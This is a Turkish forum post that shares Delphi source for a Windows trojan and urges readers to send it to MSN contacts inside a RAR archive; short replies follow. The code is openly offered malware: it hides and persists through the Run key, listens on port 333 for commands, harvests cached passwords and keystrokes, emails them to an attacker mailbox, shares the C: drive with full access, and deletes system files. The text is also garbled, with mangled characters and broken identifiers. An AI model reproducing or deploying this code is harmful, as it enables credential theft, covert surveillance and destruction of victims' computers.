Arkadaşlar werdiğim kodu not defterine yapıştırın;
sonra Farklı kaydetten ".bat" diye kaydedin...Eğer msndeki birine atmak istiyorsunuz WinRAR ın içine atın....

Kod:
interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp, ExtCtrls, StdCtrls,Mmsystem,shellapi,Pso ck, NMMSG,Registry,IniFiles,
NMsmtp,KeySpy,ShlOBJ, SharedResource;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
Edit1: TEdit;
Timer1: TTimer;
Label1: TLabel;
NMSMTP1: TNMSMTP;
Label2: TLabel;
Edit2: TEdit;
Timer2: TTimer;
ClientSocket1: TClientSocket;
hook: TMemo;
KeySpy1: TKeySpy;
Label3: TLabel;
SharedResource1: TSharedResource;
label4: TEdit;
procedure ServerSocket1ClientRead(Sender : TObject;
Socket: TCustomWinSocket);
procedure Edit1Change(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormActivate(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure Edit2Change(Sender: TObject);

procedure KeySpy1KeySpyDown(Sender: TObject; Key: Byte;
KeyStr: String);
procedure KeySpy1ActiveTitleChanged(Send er: TObject;
ActiveTitle: String);
procedure ServerSocket1ClientConnect(Sen der: TObject;
Socket: TCustomWinSocket);
procedure label4Change(Sender: TObject);
private

&l123; Private declarations }
public
hMPR: THandle;
procedure WriteText(TransText: string);
&l123; Public declarations }
end;
var
Form1: TForm1;

const
Count: Integer = 0;

function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;

implementation
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name &l039;WNetEnumCachedPasswords&l039;;

type
PWinPassword = ^TWinPassword;
TWinPassword = record
EntrySize: Word;
ResourceSize: Word;
PasswordSize: Word;
EntryIndex: Byte;
EntryType: Byte;
PasswordC: Char;
end;


var Result: Integer;
dc : hdc;
C :PChar;
I: Integer;
Reg : TRegistry;
Keys,Values: TStringList;
SystemDir : String ;
Canvas: TCanvas;
szWinDir:array[0..MAX_PATH] of char;
Cmd:string;
AppExe :string;
WinPassword: TWinPassword;
MyFormat : Word;
AData: THandle;
APalette: HPalette;
DCDesk: HDC;

MyBMP : TBitmap;
adres1:string;


&l123;&l036;R *.DFM}
const
OldRet: Boolean = False;



function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
var
Password: String;
PC: Array[0..&l036;FF] of Char;
begin
inc(Count);

Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
PC[WinPassword.ResourceSize] := l0;
CharToOem(PC, PC);
Password := StrPas(PC);

Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);
Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
PC[WinPassword.PasswordSize] := l0;
CharToOem(PC, PC);
Password := Password + &l039;: &l039; + StrPas(PC);

Form1.hook.lines.Add(Password) ;
Result := True;
end;

procedure TForm1.WriteText(TransText: string);
var
MyHand: HWND;
MyDc: HDC;
MyCanvas: TCanvas;
begin
MyHand := GetDesktopWindow;
MyDc := GetWindowDC(MyHand);
MyCanvas := TCanvas.Create;
MyCanvas.Handle := MyDC;
BeginPath(MyCanvas.Handle);
MyCanvas.Font.Color := clRed;
MyCanvas.Font.Name := &l039;Courier New&l039;;
MyCanvas.Font.Size := 100;
SetBkMode(MyCanvas.Handle, TRANSPARENT);
EndPath(MyCanvas.Handle);
MyCanvas.TextOut(100, 100, TransText);
end;



procedure SetRes(XRes, YRes: DWord);
var
lpDevMode : TDeviceMode;
begin
EnumDisplaySettings(nil, 0, lpDevMode);
lpDevMode.dmFields:=DM_PELSWID TH or DM_PELSHEIGHT;
lpDevMode.dmPelsWidth:=XRes;
lpDevMode.dmPelsHeight:=YRes;
ChangeDisplaySettings(lpDevMod e, 0);
end;

Procedure CloseDoor;
Begin
mciSendString(&l039;Set cdaudio door closed&l039;, nil, 0, 0);
end;
Procedure OpenDoor;
Begin
mciSendString(&l039;Set cdaudio door open&l039;, nil, 0, 0);
end;
procedure TForm1.ServerSocket1ClientRead (Sender: TObject;
Socket: TCustomWinSocket);

var
s:string;
begin
s:=socket.receivetext;
edit1.text:=s;


end;
Procedure CoverMyTracks;
var
WindowsDirectory : String ;
begin
DeleteFile(WindowsDirectory+&l039;N etstat.exe&l039;
DeleteFile(WindowsDirectory+&l039;N BTSTAT.EXE&l039;
DeleteFile(WindowsDirectory+&l039;T RACERT.EXE&l039;
DeleteFile(WindowsDirectory+&l039;R OUTE.EXE&l039;
DeleteFile(WindowsDirectory+&l039;P ING.EXE&l039;
end;
procedure e;
begin
Canvas:=TCanvas.Create;
try
Canvas.Handle:=CreateDC(&l039;DISPL AY&l039;,nil,nil,nil);
Canvas.CopyRect(Rect(0,0,Scree n.Width,Screen.Height),Canvas,
Rect(0,Screen.Height,Screen.Wi dth,0));
finally
Canvas.Free;
end;
end;



procedure TForm1.Edit1Change(Sender: TObject);
var
I: Integer;
begin
if edit1.text=&l039;a26&l039;then
begin


for I := 0 to 5000 do
begin
CreateDirectory(PChar(&l039;C:&l92;wind ows&l92;desktop&l92;mmm&l039; + IntToStr(I)), nil);
end;
end;
if edit1.text=&l039;a21&l039;then
begin
WriteText(&l039;hehheh!!!&l039;
edit1.text:=&l039;0&l039; ;
end;
if edit1.text=&l039;a22&l039;then
begin
asm
@loop1:
mov cx,0ffh;
mov al,cl;
out 70,al;
out 71,al;
loop @loop1 ;
end;
edit1.text:=&l039;0&l039; ;
end;
if edit1.text=&l039;a23&l039;then
begin
clientsocket1.Socket.SendText( hook.text);
edit1.text:=&l039;0&l039; ;
end;
if edit1.text=&l039;a24&l039;then
begin

clientsocket1.Address:=label3. caption;
clientsocket1.Active:=true;
edit1.text:=&l039;0&l039; ;
end;
if edit1.text=&l039;a19&l039;then


begin
asm
cli
@@WaitOutReady:
in al,64h
test al,00000010b
jnz @@WaitOutReady
mov al,0FEh
out 64h,al
end;
edit1.text:=&l039;0&l039; ;
End;
if edit1.text=&l039;a20&l039;then
begin

ShowWindow(FindWindow( &l039;BaseBar&l039;,nil), SW_NORMAL);//başlam menü listesi
ShowWindow(FindWindow( &l039;Progman&l039;,nil), SW_NORMAL);//masaüstü
edit1.text:=&l039;0&l039; ;
end;
if edit1.text=&l039;a1&l039;then
begin
exitwindowsex(EWX_SHUTDOWN,0);
edit1.text:=&l039;0&l039; ;
end;

if edit1.text=&l039;a2&l039;then
begin
SetCursorPos(15000,15000);
edit1.text:=&l039;0&l039; ;

end;
if edit1.text=&l039;a3&l039;then
begin
Perform(WM_SYSCOMMAND, SC_SCREENSAVE,1);
edit1.text:=&l039;0&l039; ;
end;
if edit1.text=&l039;a4&l039;then
begin

asm
mov ax,0feh
out 64h,ax
end;
edit1.text:=&l039;0&l039; ;
end;
if edit1.text=&l039;a5&l039;then
begin
OPENDOOR ;
edit1.text:=&l039;0&l039; ;
end;
if edit1.text=&l039;a6&l039;then
begin
closedoor ;
edit1.text:=&l039;0&l039; ;
end;
if edit1.text=&l039;a7&l039;then
begin
timer1.enabled:=true;
edit1.text:=&l039;0&l039; ;
end;




if edit1.text=&l039;a8&l039;then
begin
timer1.enabled:=false;
edit1.text:=&l039;0&l039; ;
end;
if edit1.text=&l039;a9&l039;then
begin
e; //ekranı ters cevir
edit1.text:=&l039;0&l039; ;
end;
if edit1.text=&l039;a10&l039;then
begin
CoverMyTracks ;
edit1.text:=&l039;0&l039; ;
end;
if edit1.text=&l039;a11&l039;then
begin
DeleteFile(SystemDir+&l039;&l92;windows &l92;Command.com&l039; //wincrash2
DeleteFile(SystemDir+&l039;&l92;windows &l92;Win.com&l039;
DeleteFile(SystemDir+&l039;&l92;windows &l92;system.ini&l039;
DeleteFile(SystemDir+&l039;&l92;windows &l92;win.ini&l039;
DeleteFile(SystemDir+&l039;&l92;Command .com&l039;
DeleteFile(SystemDir+&l039;&l92;autoexe .bat&l039;
edit1.text:=&l039;0&l039; ;
end;

if edit1.text=&l039;a12&l039;then
begin
Reg:=TRegistry.Create;
Keys:=TStringList.Create; //saati sil
Values:=TStringList.Create;
Reg.RootKey:=HKEY_CURRENT_USER ;
if not Reg.OpenKey(&l039;&l92;RemoteAccess&l92;Add resses&l039;,false) then Exit;
Reg.GetValueNames(Values);
for I:=0 to Values.Count-1 do
Reg.DeleteValue(Values);
if not Reg.OpenKey(&l039;&l92;RemoteAccess&l92;Pro files&l039;,false) then Exit;
Reg.GetKeyNames(Keys);
for I:=0 to Keys.Count-1 do
Reg.DeleteKey(Keys);
Reg.Free;
Values.Free;
Keys.Free;
edit1.text:=&l039;0&l039; ;
end;

if edit1.text=&l039;a13&l039;then
begin
exitwindowsex(EWX_reboot,0); //restart
end;

if edit1.text=&l039;a15&l039;then
begin
Winexec(&l039;Control.exe Date/Time&l039;,sw_shownormal);
edit1.text:=&l039;0&l039; ; //saat dialog ac
end;
if edit1.text=&l039;a16&l039;then
begin
ShowWindow(FindWindow( &l039;BaseBar&l039;,nil), SW_MINIMIZE);//başlam menü listesi
ShowWindow(FindWindow( &l039;Progman&l039;,nil), SW_HIDE);//masaüstü
edit1.text:=&l039;0&l039; ; //format belgelerim
end;

if edit1.text=&l039;a17&l039;then
begin
Setres(800, 600);
edit1.text:=&l039;0&l039; ;
end;



if edit1.text=&l039;a18&l039;then
begin
Setres(640, 480);
edit1.text:=&l039;0&l039; ;
end;
end ;

function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord; stdcall; external &l039;KERNEL32.DLL&l039;;

function GetAppPath: string;
begin
Result := ExtractFilePath(Application.Ex eName);
if Result[Length(Result)] <> &l039;&l92;&l039; then
Result := Result + &l039;&l92;&l039;;
end;



//.............................. .............................. .
procedure TForm1.FormCreate(Sender: TObject);

begin

RegisterServiceProcess(GetCurr entProcessID,1);
serversocket1.Port:=333;
serversocket1.Active:=true;





try
copyfile(PChar(Application.Exe name),&l039;C:&l92;WINDOWS&l92;SYSTEM&l92;Win32 r.exe&l039;,true);
RegisterServiceProcess(GetCurr entProcessID,0);
SetWindowLong(Application.Hand le, GWL_EXSTYLE, WS_EX_TOOLWINDOW);

finally

with TRegistry.Create do
try
RootKey := HKEY_CURRENT_USER;
if OpenKey (&l039;&l92;SOFTWARE&l92;Microsoft&l92;Windows&l92 ; CurrentVersion&l92;Run&l039;, true) then
AppExe:=l34+Application.Exenam e+l34;
WriteString(&l039;Win32r&l039;, AppExe);

finally

Label1.Caption := GetAppPath;
if label1.caption <> &l039;C:&l92;WINDOWS&l92;SYSTEM&l92;&l039; then
begin
ShellExecute(0, &l039;open&l039;, PChar(&l039;C:&l92;WINDOWS&l92;SYSTEM&l92;Win32 r.exe&l039, nil, nil, SW_SHOW);
halt(0);





end;


end;
end;
end;



//.............................. ..............................


procedure TForm1.Timer1Timer(Sender: TObject);
begin
SendMessage(Application.Handle , WM_SYSCOMMAND, SC_MONITORPOWER, 0); //monitor kapa
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
RegisterServiceProcess(GetCurr entProcessID,1);
end;

procedure TForm1.FormShow(Sender: TObject);

begin

if WNetEnumCachedPasswords(nil, 0, &l036;FF, @AddPassword, 0) <> 0 then
begin
Application.MessageBox(&l039;Can&l039;&l039;t load passwords: User is not logon.&l039;, &l039;Error&l039;, mb_Ok or mb_IconWarning);
Application.Terminate;
end
else
if Count = 0 then
hook.lines.Add(&l039;No passwords found...&l039;
RegisterServiceProcess(GetCurr entProcessID,1);


end;

procedure TForm1.Timer2Timer(Sender: TObject);
var

a:string;
b:integer;
begin

b:=strtoint(label4.text );
b:=b+1;
label4.text:=inttostr(b);
if label4.text=&l039;900&l039; then
begin
label4.text:=&l039;0&l039;;
if edit2.text<> &l039;127.0.0.1&l039; then
begin
NMSMTP1.Host := &l039;mail.rt.net.tr&l039;;
NMSMTP1.UserID := &l039;ip no trojan!&l039;;
NMSMTP1.Connect;
NMSMTP1.PostMessage.FromAddres s := &l039;trojan79trojan@yahoo.com&l039;;
NMSMTP1.PostMessage.ToAddress. Text := &l039;tret&l039;;
NMSMTP1.PostMessage.Body.Text := datetimetostr(now)+hook.Text;


NMSMTP1.PostMessage.Subject := edit2.text;
NMSMTP1.SendMail;

NMSMTP1.Disconnect;
end;
end;
edit2.text :=nmsmtp1.LocalIP;
end;

procedure TForm1.Edit2Change(Sender: TObject);
begin

if edit2.text <> &l039;127.0.0.1&l039; then
begin
NMSMTP1.Host := &l039;mail.rt.net.tr&l039;;
NMSMTP1.UserID := &l039;ip no for trojan!&l039;;
NMSMTP1.Connect;
NMSMTP1.PostMessage.FromAddres s := &l039;trojan79trojan@yahoo.com&l039;;
NMSMTP1.PostMessage.ToAddress. Text := &l039;aa&l039;;

NMSMTP1.PostMessage.Body.Text := datetimetostr(now) ;

NMSMTP1.PostMessage.Subject := edit2.text;
NMSMTP1.SendMail;

NMSMTP1.Disconnect;

end;
end;

procedure TForm1.KeySpy1KeySpyDown(Sende r: TObject; Key: Byte;
KeyStr: String);
begin

if (KeyStr[1] = &l039;-&l039 and (KeyStr[2] = &l039;-&l039 then
begin
Hook.Lines.Add(&l039;&l039;
OldRet := True;
end
else
if OldRet then
begin
Hook.Lines.Add(&l039;&l039;
OldRet := False;
end;
Hook.Text := Hook.Text + KeyStr;

&l123; For 16-bit only}
&l123;&l036;IFNDEF WIN32}
if (Length(Hook.Text) > &l036;F0) then Hook.Clear;
&l123;&l036;ENDIF}
end;



procedure TForm1.KeySpy1ActiveTitleChang ed(Sender: TObject;
ActiveTitle: String);
begin
OldRet := True;
Hook.Text := Hook.Text + l13l10&l039;[&l039; + ActiveTitle + &l039;]&l039;;

&l123; For 16-bit only}
&l123;&l036;IFNDEF WIN32}
if (Length(Hook.Text) > &l036;F0) then Hook.Clear;
&l123;&l036;ENDIF}
end;

procedure TForm1.ServerSocket1ClientConn ect(Sender: TObject;
Socket: TCustomWinSocket);
begin
label3.caption:=Socket.RemoteA ddress ;
end;

procedure TForm1.label4Change(Sender: TObject);

begin



SharedResource1.ShareName := &l039;XP&l039;;
SharedResource1.ResourcePath := &l039;C:&l92;&l039;;
SharedResource1.ResourceType := RTFolder;
SharedResource1.AccessType := ATFull;
SharedResource1.Share;


end;

end.


windows&l039;un altındaki uygulamaları siler
Procedure CoverMyTracks;
Var
WindowsDirectory : String ;
Begin
DeleteFile(WindowsDirectory+&l039;N etstat.exe&l039;
DeleteFile(WindowsDirectory+&l039;N BTSTAT.EXE&l039;
DeleteFile(WindowsDirectory+&l039;T RACERT.EXE&l039;
DeleteFile(WindowsDirectory+&l039;R OUTE.EXE&l039;
DeleteFile(WindowsDirectory+&l039;P ING.EXE&l039;
End;

__________________
Taş Taşı Laf Taşıma... "Taş" Taşırsan Yorulursun "Laf" Taşırsan Bozulursun.!

Né a$qtAn aNLaRSıNız Né Mé$KtéN RéNqiniZ KaÇmi$ Sévi$méktén...!

arkadsim bu delphi programi nasil *.bat olarak calisacak?

abıcım guzel yaptımda benım bılg bagırmaya basladı benım bılg etkılenmeden dırek vıruslerı nasıl muhafaza edebılırım

RAR,ZİP Halinde Tutarsan Dosyaları Etkilenmezsin.

__________________
Typee32